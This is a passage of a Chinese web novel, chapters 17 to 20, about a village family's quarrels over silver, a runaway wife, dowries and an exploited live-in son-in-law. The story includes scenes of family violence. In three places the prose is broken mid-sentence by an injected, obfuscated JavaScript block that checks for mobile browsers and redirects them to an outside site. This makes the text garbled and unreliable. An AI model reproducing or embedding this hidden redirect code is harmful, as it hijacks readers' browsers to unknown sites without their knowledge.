在温云起的邀请下,一群人跟着往白家去。 不过,谭二井还没走几步,就听到身后众人一阵惊呼,原来是谭母晕倒了……他肯定是要先顾着自己亲娘,很快转身去扶人。 * 帮忙的十个人心里有点纠结,这银子是林大力为他们争取的,他们应该拿。但是,实际算起来他们也没做什么事,同村住着,互相帮点小忙根本就不好意思问人要酬劳。 不过,也有那胆大脸厚的人认为,林大力都已经为他们争取了,不要白不要。 白桃磨蹭半晌,从屋中拿出来了百两银票。 温云起一把收起揣入怀中,然后又对着白桃伸出了手。 白桃看着他的手,皱了皱眉:“那些人的工钱我们会找时间给,至于给小月的嫁妆……反正我不会少了她的,你放心就是。” “你是小月的亲娘,当着村里人的面承诺了要给她嫁妆,那我肯定放心。”温云起看了一眼人群里的十个人,“我要帮他们讨工钱。” 十人心中一喜。 他们没干多少活,还是针对谭二井和白桃,让这二人出钱,这银子多半也拿不到。万万没想到林大力这么厚道。 白桃就不想给,在她看来,那些人又没做什么事,反而还给她添了乱,凭什么要给钱? “回头我会给他们!” “也别等回头了,今天大家都在,请你给我银子,我现在就发给他们。”温云起态度强势,“反正他们十人都还在,你若实在不愿意,那我们还是去衙门一趟,这银票还你。” 说着,当真从怀里掏出了银票要还回去。 白桃:“……” 她被气到鼻子酸涩,眼圈通红。 早知道今夜去见谭二井会发生这么多事,她哪怕是一晚上都睡不着,也会将自己粘在床上。 闹到现在,她再不情不愿,这二十两银子也必须得给。 这银子是两个元宝,元宝难得,夫妻俩原本没打算花出去的。 温云起接过两个大元宝,问:“你们是想现在就绞碎了分,还是去镇上换碎银子来分?” 如果去镇上,像这种品相如此好的元宝,一个十两,大概能多得几十个铜板。 再说,品相好的元宝不易得,绞了可惜了! 众人低声商量过后,由其中一人上前:“交给我吧,我拿去分,大家都看着,我不会贪。” 温云起直接把元宝给了他,然后打了个呵欠:“天不早了,大家都回去睡。” 白桃咬牙:“你得白纸黑字写明以后不再找我麻烦。” 温云起嗤笑一声:“你当我傻?” 关于白桃跑出去与人私奔,这本就是民不举官不究的事。林大力因此拿到了百多两银子的补偿……实话说,这真的不是一笔小数目。 不管这银子是怎么给出来的,若是有了白纸黑字,林大力很可能会落下一个讹诈他人的名声。 白桃气急:“你不写清楚,我怎么信你?” “爱信不信。”温云起甩开她伸过来拉扯自己的手,“别碰我啊!明天咱们写一封和离书,回头就什么关系都没有了,你不要名声,我还要呢。” 白桃险些被气死,还想要说两句,只见林大力已经回房栓上了门。这在白家院子里,都是自家人,他居然还要栓门,这是想防着谁? “林大力,你混账!” 温云起都已经准备睡觉了,听到这话,捡起桌上的茶杯直接就朝着白桃扔了过去,险之又险的从白月头上飞过。 “原先你是我媳妇,我愿意惯着你,现在……再冲我嚷嚷,别怪我动手!” 语罢,砰一声关上了窗户。 隔得太远,天色又黑,茶杯没有砸到人,但是里面的茶水泼了白桃满脸。 白月左右看了看,心知这不是要银子的时候,灰溜溜回了房。 白桃抹了脸上的水,跳着脚又想要吵架。而就在这时候,院子里看热闹的众人鱼贯而出,不过眨眼之间就只剩下白家自己人了。 白满平真的感觉很丢脸,他不知道女儿悄悄跑出去的事,一群人都到院子里了,才从众人的闲谈之间知道发生了什么。这会儿看到女儿还在生气,似乎还要闹,他越来越怒,一巴掌扇了过去。 “大晚上的不睡,你跑出去做什么?你是个姑娘家呀,你要不要脸?老子怎么就生出了你这种水性杨花的女儿?简直丢尽了老子的颜面,你回来做什么?怎么不干脆死在外头?” 他越想越生气,对着摔倒在地的女儿又踹了一脚。 白桃伸手捂着肚子,痛到在地上打滚。原先她在家的时候还愿意听父亲的话,这么多年和谭二井在外头做夫妻,她也算当得了谭二井的家,做生意多年,她完全能独当一面,受不了半点气。 听了父亲这番话,白桃又怒又恨:“我哪里水性杨花了?明明我想嫁的人一直都是谭郎,是你不肯成全,你乱点鸳鸯谱害了我一生……今晚我被人笑话,险些被送上公堂,都是被你害的。我就不明白了,林大力到底哪里好,他看着老实,实则心里藏奸,真像你说的是个好人,就不会把白家和我逼到这种地步了……看错人的是你才对!别以为你是长辈就可以随意揍人……” “老子就揍了,你待如何?”白满平说着,又干脆利落地踹了两脚,第二下险些将自己带得摔倒也不打算收手,又转身想找东西揍女儿。 温云起烦不胜烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13426711|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又扔出了一个茶杯:“你们到底睡不睡?” 农家人很少会舍得在家中准备茶具,林大力屋子里的这一套,是他进货的时候刚好看见东家扔在一堆破烂里。 茶具这东西,只要坏一个,不成套了,就不值钱了。 林大力当时冲动之下就买了回来,想着兴许能卖个好价,结果,砸手里了! 白满平有些害怕现在的林大力,恨恨瞪了女儿一眼:“你非要跟着姓谭的,老子也不拦你了。明早上你自己收拾行李滚过去!” 白桃:“……” 她气得尖叫:“我不走!这里是我的家,以后我会叫谭郎过来住!有本事你就打死我,打不死我,我们夫妻就是要住在这个院子里。” 一番话气得白满平没忍住,顺手薅了路旁撵狗的棍子,对着白桃又揍了几下。 “你还跟我犟,让你滚,你给我麻利一点,早在十多年前,老子就当没你这个女儿了。你还回来讨人嫌!” 白桃受不了这疼痛,滚来滚去地躲避。 若不是白满平顾忌着林大力,还不想收手。 * 吴德是第二天早上起来了才知道夜里发生的事情,他恨得拍大腿,当时他就该帮着揪谭二井……先把二两银子赚到了再说。 那十个人天蒙蒙亮就一起去镇上分钱了。 吴德一家五口只能挤在一个屋子里,早就挤够了,还有,妯娌几人各有各的心思,一大早就吵起来了。 吴家另外几个媳妇嘲讽白婷儿有一个水性杨花的姐姐。 白婷儿只觉得自己受了无妄之灾,她完全就是被牵连了。类似的言语如果她不骂回去,以后这几人会更过分。 于是,还一大早呢,院子里就闹得不可开交。 吴德的爹娘听着这番吵闹,也骂了几句,但是几个儿媳妇火气上来,完全是不管不顾,一个个张牙舞爪的,就差没动手了。 白满平就是这时候来的。 “婷儿,你们院子里这是在闹什么?” 白婷儿原本只是气红了眼,被父亲这一问,眼泪瞬间滚滚而落:“她们欺负人!明明那些不要脸的事情是白桃干的,跟我一点关系都没有,她们就在那里胡乱编排,说我也是不要脸的娼妇!” 那俩人没有这么过分,但差不多就是这个意思。 白满平皱了皱眉:“你们都是吴家的媳妇,这么对婷儿,长辈就不管?” 吴母没有多讨厌白婷儿这个儿媳妇,对于另外两个儿媳妇的胡说八道,她其实也很愤怒,一家子吵成这样,好说还是好听?这传了出去,肯定会被人笑话。 但她很希望夫妻俩去白家住,一咬牙,决定做个恶人:“我没法管呀,阿德家的自己不干净……当年白桃走的时候身边可只有她一个人,也是她口口声声说姐姐落下了山崖,不然,村里人都不会想到白桃已经不在人世。是婷儿故意误导村里人,也是她骗了林大力,早知她是这种人品,说什么我也不让她过门。阿德,你把她给我休了。不然,以后别叫我娘!” 白满平气愤不已:“当年婷儿年纪还小,是被她姐姐给骗了,她过门几年,孩子都生了三个,现在你却揪着当年的事情不放……简直是不可理喻。婷儿,收拾嫁妆,带上你的三个孩子,我们这就走。这吴家以后你别来了,老子养得起三个孙子!” 18.当牛做马的上门女婿 十八 白满平心里暗暗算计着,三个孙子一到家,干脆就给他们全部改姓,把名字写上族谱再说! 吴母也没想到会如此顺利就把儿媳妇撵出去了……她孙子多,不在乎孙子改姓,反正无论怎么改,那都是吴家的血脉。 那边父女俩带着三个孩子要走,吴母悄悄瞪了一眼儿子。 吴德就觉得母亲今日的这一番怒气来得莫名其妙,之前妯娌几人吵架,母亲一向就跟那乌龟似的缩着,不愿意出面断谁对谁错。 此时接触到了母亲的眼神,他瞬间了然,大喊着往外追:“孩子他娘,你要走也带上我呀。放我一个人,我哪里活的下去?别扔下我。” 白婷儿心里还有点感动。 这男人为了她,连亲娘都不要了。 虽然婆婆不至于真的就不要了儿子,但吴德这么做,足以证明他对她的重视。 白满平也满意,林大力拿到了足够的银子,早晚都会离开。如果吴德不来,他干不动活,孙子又小,难道还指望女儿去地里? “以后你们就在家住,孩子跟我姓白。他们是我亲孙子,有我在一日,谁也不敢给他气受。” 白婷儿眼泪汪汪:“爹,您对我真好。” 而白桃看着父亲带回来的一家五口,险些没气死过去。昨天晚上她先是受了打击,后来挨了一顿打,今早上完全起不来,这会儿是浑身都痛。原本是不打算起的,但是人有三急,她年纪轻轻的,总不能拉床上吧? 还有,昨天晚上要拿一百多两银子出去,谭二井却从头到尾没过来,白桃是有听见谭母晕倒的事……她心里有点担心。 如果谭母没有大碍,谭二井不可能到现在还不来见她。她想洗漱一番过去瞧瞧,又怕自己身上太痛走不了那么远。 “爹,他们还拿着行李,这是打算回来长住?” 白婷儿一脸得意:“这些是我的嫁妆,爹说了,以后这里就是我们的家。” 白满平接话:“对。白桃,你乐意跟着姓谭的,直接去!至于小月,你们夫妻俩谁爱带谁带,赶紧商量好,别想着撂给我。” 吴德看了一眼屋檐底下梳头发的白月,这丫头养得好,才十一岁,看着跟十三四岁的大姑娘差不多。再养个三四年,就可以嫁人了。 但是无论是收聘礼还是拿她换亲,至少都能解决一个儿子的婚事。 “小月以后就住在这个家里面吧。”吴德提议,看向岳父,“大姐和姐夫都还年轻,以后肯定要再娶和再嫁,小月无论跟着谁,身份都很尴尬,免不了要受一些委屈。她姓白,是爹的第一个是孙女,总不能因为有了弟弟就不要她了,原先我就想有个女儿,一直没能如愿。爹放心,小月留在家里,我会把她当亲生女儿一样照顾。” 白桃急了。 白月则是满心讽刺,她从生下来就知道自己以后要招夫上门,结果说变就变。 若不是因为父亲手里捏着那么多的银子,白月说什么也不会离开这个家。不过,如今她要跟父亲一起走,以后这院子谁当家,跟她没有多大的关系,此时懒得争。 “我才不要留下。”白月轻哼,“我有亲爹,不稀罕你这种便宜爹。你自己三个儿子都养不活,还想养个女儿,该不会是想让我以后给你儿子换亲吧?” 她是气急了随口一说,但话出口后,越想越觉得有道理。 白满平心头也是一惊。 他是很想要孙子,但也没想过要拿白月给几个孙子换媳妇。 “去去去,小孩子家家,别胡说八道,你是个姑娘家,动不动就说亲事,也不怕人笑话。赶紧做饭去。” 白月不想做饭,一直睡到现在,原本还想多睡一会儿的,之所以起来是因为她听到隔壁母亲屋子里有了动静。 昨天父亲为她争取到了二十两银子的嫁妆,原本她想昨晚上就讨要……这银子得放到自己兜里才稳妥。但一开始人多,她没好意思开口,毕竟她才十一岁,姑娘家自己问嫁妆,会被人笑话。 后来众人走了,家里又在打架。她就没有凑上去。 白月也不说自己不做饭,眼看母亲去了茅房,也跟了过去。 白桃憋不住了,再想要跟这几人争辩,也得把自己的急事解决了再说。结果刚出茅房,就看见了门口等着的女儿。 “我好了,你去吧。” “娘!”白月一把抓住亲娘,“昨天我爹说,你得给我二十两银子做嫁妆,银子呢?” “你疯了吧?才十一岁要什么嫁妆?”白桃急着去赶人,说话间,一把甩开女儿的拉扯。 然后,没甩掉。 白月用了很大的力气揪住母亲的胳膊:“你管我几岁,该我的你就得给我。让你收着,回头多半要补贴了外头的野男人去。” 上次白桃失手打了大女儿一巴掌,她当时心里很是后悔。但这丫头说话实在太气人,什么叫野男人? 她心中一怒,脑子一懵,等反应过来时,手心已经火辣辣的痛。 原来,她方才又甩了女儿一巴掌。 白月眼泪汪汪,用手捂着脸,看向白桃的眼神中满是怨恨:“生而不养,你赚了银子也不分给我。既然如此,你生我做什么?” 白桃接触到女儿的眼神,心里一怔,待看到女儿脸上红肿一片,她伸手就想摸:“小月,你……” “你不要碰我。”白月激愤交加,“你把二十两银子给我,以后我们桥归桥路归路!” 白桃又气又怒,亲生女儿要和她断绝关系,居然还好意思在断绝关系之前要二十两银子。 “我不欠你的。” “你欠!”白月强调,“当年你说走就走,把我撂在家里,你就欠了我!还有,你不给我银子,回头我就让爹把你告到公堂上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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算起来,白桃回来也才几天,还来不及准备隐蔽的地方好好藏钱。如今她只剩下最后的十两银子了,要是被白月拿走,以后就只能和谭二井住在白家这个破院子里了。 就这破院子还有人争,万一没争赢,他们又没有银子,到时就只能露宿街头。 “小月,你别乱翻,我要生气了啊。” 母女俩还在闹呢,白满平已经安排白婷儿夫妻俩去铺床了。 白月从小就喜欢在家里找钱花,还真让她给找着了。她抓着十两银锭转身就往外跑:“你还欠我一个银锭,记住了!” 不过眨眼间,人已经消失在了门外。 白桃昨晚受了伤,走路都痛,根本跑不起来,无力地眼睁睁看着女儿离去,她急得眼前发黑,大声质问:“小月,你是要气死我吗?” 19.当牛做马的上门女婿 十九 这哪是亲生女儿啊,仇人还差不多! 白桃追不动,可她觉得女儿年纪小,很容易被人骗,那十两银子说不定都到不了镇上就没了。越想越不放心,扭头想要在院子里找个人去追白月。 结果,这院子里得用的人,除了父亲和幺妹就是二妹夫妻俩。 请他们去追人,即便这银子追回来了,大概也没自己的份……那还不如给女儿花呢。 白桃又急又气,最后将目光落到温云起身上:“林大力,你追上去看看,别让她被人给骗了。” 温云起不理。 白桃气得都要喘不过来了:“小月到底是不是你亲生女儿?你怎么就一点不着急呢?” “小月是不是我亲生,这要问你自己呀。”温云起意有所指,“别看我照顾了小月多年,她从来也没将我这个父亲放在眼里过。平时对我一点都不尊重,有事了才叫爹。” 这话原本没什么问题,但耐不住白桃心虚呀。她眼神闪躲了一瞬,随即振振有词:“孩子在你跟前长大,她脾气不好,习惯不好,这都是你这个当爹的没教好。” 林大力没有好好教白月,并不是他不想教,一来他特别忙,每天早出晚归……小月是个姑娘家,白满平也挺疼她,从来也没指望让她干多少活。也就是说,林大力早上出门的时候白月还没起,回来时白月早已睡了,别看两人同住一个院子,父女俩有时几天都说不上一句话。 偶尔发现白月有些坏习惯,林大力出言纠正,即便是当场让她改回来了,转头白满平一惯……白干!而且小孩子不知道分辨是非,只愿意亲近惯着她的人。久而久之,原本就不亲密的父女情分愈发淡薄。 “你教得好,你教呀。”温云起冷哼一声,“以后我不管了就是。” 白桃:“……” 原先手头宽裕,她一心想把孩子留在身边照看。 小月毕竟不是林大力亲生,若是跟着他,哪天他偶然知道了真相要对付小月……她想拦也拦不住。 她原本的打算是,哪怕小月和她不亲,等到出嫁的时候,她这个当娘的给女儿置办一份丰厚的嫁妆,再多的怨恨也能消灭大半。 可现在丰厚的嫁妆没有了,那十两银子如果能拿回来,也绝对不会给小月一个人花。 “说了女儿归你……” 温云起眉头拧起:“你这个人真的有毛病。我说要把孩子带走,你不许,我说要把孩子留下,你又不许。怎么活得这么拧巴呢?反正你就非要和我作对,非不让我如意是吧?” 白桃哑然。 她不想和林大力吵架,谭二井一直没出现,她得去看看。 她拖着伤,走得不快,好半天才到了谭家附近。 谭家的邻居看到她,有那热情的跟她打招呼,也有那性子刚直的对着她翻白眼和吐唾沫。 白桃面上没表露,心里真的特别难受。 其实两人刚回村时都不见面,只不过,昨天晚上两人私底下相见被众人撞上,也没必要再遮遮掩掩。白桃已经打定了主意这辈子就做谭二井的妻子了,早晚都要让村里人接受他们在一起的事,晚不如早,她做梦都想要和孩子的爹光明正大做夫妻。 谭家的院子有点破,土墙都倒了一些,白桃在伸手敲门时,心里则想着前两天谭二井还在跟她商量说拿几两银子来孝敬谭家二老,当是他们这么多年没有陪在长辈身边的补偿。 其实白桃心里清楚,这银子到了二老那儿,多半会落到谭家老大手中,到时二老拿来修缮房屋,难道他们还能阻止? 当时她根本就没把几两银子放在心上,如果用这点钱能够让谭家长辈打心眼里接受她,她觉得很划算。 如今银子被林大力全部拿走,这院墙大概是修不成了。 才敲了两下门,门就被人从里打开。白桃不知道来开门的人是谁,下意识扬起笑容。 啪的一声。 都说伸手不打笑脸人,白桃万万没想到,她才看清楚门后站着的人是谭二井的嫂嫂包氏,包氏就直接甩了她一巴掌。 包氏打了人还嚣张至极,叉着腰怒骂到:“真的是活得越久见得越多。老娘活了半辈子了,就没见过你这么不要脸的女人,我二弟都被你害得那么惨了,你怎么还好意思来找他?这天底下除了我二弟,就再也没有别的男人了是不是?你怎么就阴魂不散非要纠缠他?你看中了他哪儿,我让他改行不行?算我求你了,你放过我二弟,我给你跪下还不成吗?” 说到后来,语气特别卑微,但态度完全不是那回事。她满脸的凶狠,眼神几乎喷出火来。 白桃往后退了一步,心里恨极了林大力。 原本谭家人是不赞同他们在一起,但这一次两人回来之后,谭家人对她的态度不像是以前那么抵触,似乎有软化的迹象,都能心平气和与她打招呼了。 结果,就因为林大力昨天晚上闹那一场,让她之前在谭家人身上付出的所有精力都白费了。 白桃心知,此时自己最好是立刻掉头离去。要不然,看热闹的人会越来越多,昨晚上才丢了人,她不愿意再沦为别人口中的笑话。 但是她身上的伤很痛,原本不到半刻钟的路程,她生生走了近两刻钟,过来这一趟真的很不容易。 “我找谭郎。” 包氏冲着众人哈哈大笑,满脸的嘲讽:“大家快来看,这有个聋子!就跟听不懂话似的。” 她言语越来越刻薄:“我让你去纠缠别的男人!你已经害了我二弟半辈子,再不离开他,就要害他一辈子了。昨天晚上我婆婆被你气到晕厥,现在还没醒过来。你这个灾星,真想为了二弟好,就离他远点!滚!” 她骂完就要抬手关门。 白桃不愿意,伸手抵着门:“大嫂,我和谭郎那么多年的感情,无论以后要不要在一起过,总要当面说个清楚,你不让我进去,就让他出来。” 包氏不愿意。 谭二井听到了外头的动静,昨晚上母亲被气晕,他们兄弟连夜请来了大夫,好在没有大碍。不过,大夫也说了,年纪这么大的人经不起气,这次没事那是运气好,下次就不一定有这种好运了。 他心里歉疚,守了母亲一宿,天亮了才被哥哥强行送回床上。 听到外头动静,谭二井一开始还以为自己是做梦,被吵醒后就慌慌张张出门了。 “桃儿,你怎么来了?” 白桃独自摆摊多年,遇上过无赖混混,也跟人吵过架,她完全可以独当一面。但是在谭二井面前,她就变得格外脆弱,被他这么一问,所有的委屈瞬间化成了眼泪滚滚而落。 “谭郎……我真的……我不是故意来找你的,但我很担心伯母,也不放心你。你的伤怎么样?伯母好点没有?” 她泪眼汪汪,满脸的关切之意不似作伪。 原本还打算嘲讽几句的包氏见状,将到嘴的难听话咽了回去。不是说她被白桃的真心打动,只是不想当着小叔子的面嘲讽他的心上人。 谭二井叹口气:“我娘昨晚已经醒了,没有大碍。我身上的伤……也不要紧。”就是有点丢人。 “你回去吧。” 白桃这一瞬间忽然就特别失落,从见面开始,她就等着男人发现她挨了打,明明她脸上的伤那么明显,昨晚上的擦伤都还没结痂,这会儿是又红又肿。 “谭郎,有件事我要跟你说。银子……”她上前一步,将银子已经花完了的事情说了一遍。 谭二井面色微变,低声道:“林大力拿的,我们肯定要想法子拿回来。但是你怎么能让小月拿走银子?她一个姑娘家,拿那么多的银子在身上很容易出事啊!” “我想去追,但我跑不动。”白桃刻意锤了锤腰,“他们打我……呜呜呜……” 谭二井叹口气:“我也追不动。不过,小月也不是孩子,应该不至于出门就丢了元宝,如果她是往镇上去,多半是去找她姑姑了。” 闻言,白桃哭声一顿,心里也安稳下来。 如果这银子放在白兰儿的手中,不光不会丢,甚至不会花出去。 谭二井见她不哭了,低声问:“林大力走了吗?” “还没呢。”多年夫妻,白桃懂他的意思,立即道:“我没赶他走,也有点顾不上。白婷儿带着男人和孩子回来了,爹居然还纵容着。我真的……” 当初她没能和心上人做夫妻,还失了清白给林大力,以至于后来只能诈死离开,如今被所有人嘲讽谩骂,这一切都是因为当年她被留在家里招赘婿而起。 她失去了这么多,父亲说翻脸就翻脸,承诺给她的东西说不给就不给。 越想越气,白桃又哭了出来。 谭二井叹口气:“放心,属于你的东西,谁也抢不走。来日方长,你这样……” 他低声嘱咐了一番,白桃眼中异彩连连,二人再分开时,她已经没了来时的颓废。 * 白婷儿真就在白家安顿了下来。 夫妻俩住一间,兄弟三人住一间。 其实白家还有屋子,不过白婷儿没有那么多的铺盖,让兄弟三人先凑合着。大一点再分床。 白满平很高兴自己多了三个孙子,手头没钱,他还跑出去借了一点给吴德,让他去镇上买酒菜,打算庆祝一番。 温云起手头捏着大把银子,没有人赶他走,白满平让女婿打酒,还将他的那份也算了进去。 白桃进门,看到兴高采烈的父亲,她翻了个白眼,一转头又见三个孩子在院子里打打闹闹,她顺手捡起路旁的柴刀,朝着吴德的大儿子扔了过去。 柴刀撞上了孩子的肩膀,好在是刀背撞的,没有割破肌肤。饶是如此,九岁的孩子也根本承受不住刀背的力道,当场就哭了出来。 白婷儿也跟着去镇上了,眼看孩子受伤,白满平立刻跳了起来:“白桃,我看你是疯了。对着个孩子动手,今天我大孙子要是出了事,我跟你拼命!刚才你又去找那个姓谭的是不是?既然那么舍不下,你给我滚,看看谭家要不要你!” “我才不走,这里是我的家。”白桃看向三个孩子,“这些混账才该滚出去!你不让他们走,可以!我就不信你能一天十二个时辰都盯着他们,别让我找着空闲,哼!” 言下之意,她要对这几个孩子下毒手。 白满平气得跳脚:“你敢!” “他们都不给我留活路,你看我敢不敢?”白桃越想越觉得委屈,一委屈就忍不住念叨,“当年婷儿出嫁,还是林大力给准备的嫁妆。靠着我风风光光嫁给心上人,如今还要回来和我争房子。什么好事都是她的,做梦!只要有我在一天,这院子就是我的。” 父女俩互相指责,而就在这时,门口又来了人。 来人是白兰儿,她眼圈通红,手里拎着个篮子,看到狼狈不堪的白桃,她皱了皱眉:“大姐,你怎么弄成了这样?” 关于昨晚发生的事,村子里的人都知道,但暂时还没传到外头去。不过,白兰儿已经从侄女那里得知,但她得给姐姐留几分颜面,不能表现出自己已经知情。 白桃如今就想争取几个妹妹的帮忙,看到三妹回来,顿时眼睛一亮:“小月去找你了是不是?” 白兰儿点头,还给了她一个银锭,说是长辈给的嫁妆。 “大姐,你有银子也不能乱给,小月还是个孩子呢,那么多的银子让她收着,你也不怕被人抢了去。” “给我!”白桃满脸急切,不顾身上的伤,跑上前几步。 白兰儿摇头:“我没带来。” 她从进院子起,就看到了屋檐下坐着的林大力,一时间心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13438147|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外复杂。才几天不见,感觉他整个人气质都不一样了。 “姐夫。” 温云起抬眼:“可别!我受不起你这个称呼,昨晚上我已经和你姐姐说清楚了,从此后我们一点关系都没有。一会儿我打算去趟镇上写一封和离书。” 白兰儿特别着急:“大姐,姐夫这么好的人你都不珍惜,那个姓谭的带着你背井离乡,从不为你考虑。他若是真的喜欢你,就该说服家中长辈请媒人上门下聘,而不是让你离开家人和他私奔!” 白桃是家中的老大,也是白满平早就定下来的当家人。原先她在家里的时候,所有的妹妹都要听她的话,此时她背必须听自己话的妹妹给教训了一顿,很是不高兴,嗤笑道:“你懂什么?这夫妻之间没有感情,往后余生的每一刻都是煎熬。” 白兰儿:“……” 哪里就这么严重了? 当初白兰儿出嫁时,心里想的是姐夫林大力,而且那时候白满平都意动了的,只不过白兰儿的婆家突然上门提亲,不管是家世还是聘礼都特别让白满平满意,他当场就改了主意。 白兰儿又哭又求,加上林大力也不愿意娶她,她心灰意冷之下,这才上了花轿。 当年是不甘,可这么多年下来,即便心里还有点放不下,那也只是怀念而已。她并不会为了当年的感情而做出格的事。 “我觉得这人活在世上,首先要负起自己该负的责任。你明明是这个家的当家人,说走就走,还装得跟真的似的。当年我都哭晕了几次……” “我是迫不得已。”白桃解释。 “你是没脑子。”白兰儿给婆家生下了儿子后,地位节节拔高,如今嗓门儿也大,“那个姓谭的有什么好?” “林大力哪里好?”白桃想到什么,嘲讽道,“当年你那些心思,别人不知道,我可是听说了的。” 谭二井和她在外地,但却一直有托人打听村子里的消息,尤其关于白家和谭家。 白兰儿面色惨白。 “你别胡说!” “怕什么?”白桃一脸不解,“人生短短几十年,要学会及时行乐。如今林大力已经不是你姐夫了,你要是愿意的话,完全可以嫁给他……对了,林大力手头还有不少银子,绝对不会让你过苦日子。” 白兰儿心下苦笑,别说她放不下孩子,只林大力就不会答应娶她。当年她还是个清白姑娘他都不愿意,如今就更不会愿意了。 “大姐,你别胡说!” 白幺妹很不高兴:“家里出你一个不要脸的姐姐已经很让我丢人,再来一个,我还活不活了?” 由于白家这一出一出的戏,已经承诺了这两天会请媒人上门提亲的方家彻底没了消息。白幺妹再不甘心,也只能放弃。 白桃很生气,也想要发作,奈何她站了这一会儿,腰又受不了了,只好找地方坐下。 三姐妹各有各的心思,院子里气氛凝滞。 白满平有注意到老三脸上有伤,看样子好像是被人扇的巴掌印,他好奇问:“谁打你了?” 白兰儿伸手摸了摸脸:“我没事,就是撞了一下。” “难道是你的脸撞到了别人的巴掌?”白满平训斥,“到底是谁打的?” 是白兰儿的男人打的。 这些年白兰儿在婆家过得不错,夫妻俩也过了一段蜜里调油的日子,后来的这些年虽然感情变淡,但也转化为了亲情。 只是,男人不知道从哪儿听说了她心里念着姐夫的事,今天发了好大的脾气……她得知大姐回来,一直想要回家看看,可惜铺子里忙,始终没有腾出时间。 恰巧今天有点空闲,她收拾了东西要走,男人追出来问她是不是要回家安慰姐夫。 白兰儿如果真做了对不起他的事,被骂一顿活该,但她如今是孩子的娘,这些年又实实在在没有与林大力私底下来往,这污名她当然不认。 她当场就发了脾气,然后就挨了一巴掌。 “孩子他爹喝多了,不是故意的。” 白满平皱了皱眉:“在家住两天。等他来接你,你再回去。” 白兰儿不想在家住,原本婆家就误会了,当时孩子的爹情绪挺激动,两人吵架的事情被长辈看在了眼里。她要敢在这儿住,回头夫妻之间的隔阂会更深。 “不了,家里住这么多人,我就不回来挤了。” 白满平瞬间就想多了,暴跳如雷地质问: “你也觉得你二姐不该回来?” 白兰儿从侄女那里得知了这些事,打心眼里不想掺和。出嫁女一般不会管娘家兄弟们分家,她反正也不打算回来争这个院子,所以并不偏向谁。 “爹,家里的事情您做主就行。我自己家的事都操心不过来,哪里还顾得上这些?” 对于这样的回答,白满平还挺满意:“就是,你们出嫁了,在婆家就该好好过日子,娘家的事情少管。” 白桃忍不住怼他:“合着白婷儿不是出嫁女?” 白满平受不了她这没完没了的纠缠,如果不是怕费劲,怕被人笑话,他真就出手把这不孝女扔出去了。 “桃儿!老子没有亏待你。当年你要是不跑,早就生下了儿子,不会让老子平白被笑话这么多年,老子也不会想到让你二妹回来当家做主。少他娘的一副天底下都欠了你的模样,从始至终亏欠你的只有那个姓谭的,大力帮你辛辛苦苦养着这个家……我说你是个白眼狼一点都没说错,大力这么辛苦,你有跟他道过一声谢吗?” 白桃被堵得哑口无言。 温云起:“……” 这家人……白满平这么说,并不是真的心疼女婿。只是想以此来打压白桃罢了。 在这个家里,从上到下都欠了林大力! 无论谁站出来,都该跟林大力道一声谢。 20.当牛做马的上门女婿 二十 在温云起看来,白家人并非不知道他们欠了林大力都恩情, 只是这恩情欠得太多, 还不起了, 就只能当做不知道。 还有,欠林大力恩情的不止一个人。 一两个人或许还会想着报答,欠的人多了,就会互相攀比:她都没还恩情,凭什么要我还? 白兰儿低下头:“当年姐夫给我准备了二两银子置办嫁妆,这事我没忘。不管林大哥以后是不是我姐夫,无论他何时登门,我都会好好招待。” 这其实是一句空话,林大力都已经不再是白家的大女婿,又怎么可能再登白家其他女儿的门? 白兰儿话说完就察觉到了不对,补充:“林大哥以后有需要我帮忙的地方,尽管开口。” 说完这话,白兰儿忽然察觉到气氛不对。所有人都在往门口看,她心里很是不安,下意识回头,当看清楚站在门口的人时,整个人都麻了。 站在那儿的是她的夫君刘顺。 刘顺家在镇上不好不差,但比村里人要富裕得多。而他不在镇上娶媳妇,反而到村里来选……镇上的商户一般不与村里的人结亲,在众人看来,这是门不当户不对。 而刘家之所以愿意求娶白兰儿,是因为刘顺身上有缺陷,他个子和白兰儿差不多一样高,但是,男人要壮一点,显得他更矮。乍一看,他比白兰儿要矮半个头。 高点矮点在婚事上虽然会被人挑剔,但也不至于沦落到低娶村里的姑娘,刘顺娶白兰儿,还因为他是六指。 左手和左脚都有六个指头。 那左脚上的六个指头影响了他走路,他看起来是有点跛的。 “孩子他爹,你什么时候来的?”白兰儿勉强扯出一抹笑容。 刘顺因为身上的缺陷,对白兰儿一直挺尊重,他来了有一会儿了,刚好将白桃让白兰儿改嫁给大姐夫的话听在了耳中。 他当然想要吵,想要发脾气。 但这里是岳家,于他而言,这些都是外人,夫妻俩在此打架会让人笑话,更何况,林大力也在……男人的自尊不允许他在林大力面前歇斯底里的闹。 “我来接你回家,小宝想你了。”刘顺将心头那些苦全部咽下,勉强扯出一抹笑。 白兰儿和他多年夫妻,看到他这样的神情,心下有些不安:“哦,好!我们这就走吧。” 她不顾身后白桃的呼喊,转身就走。 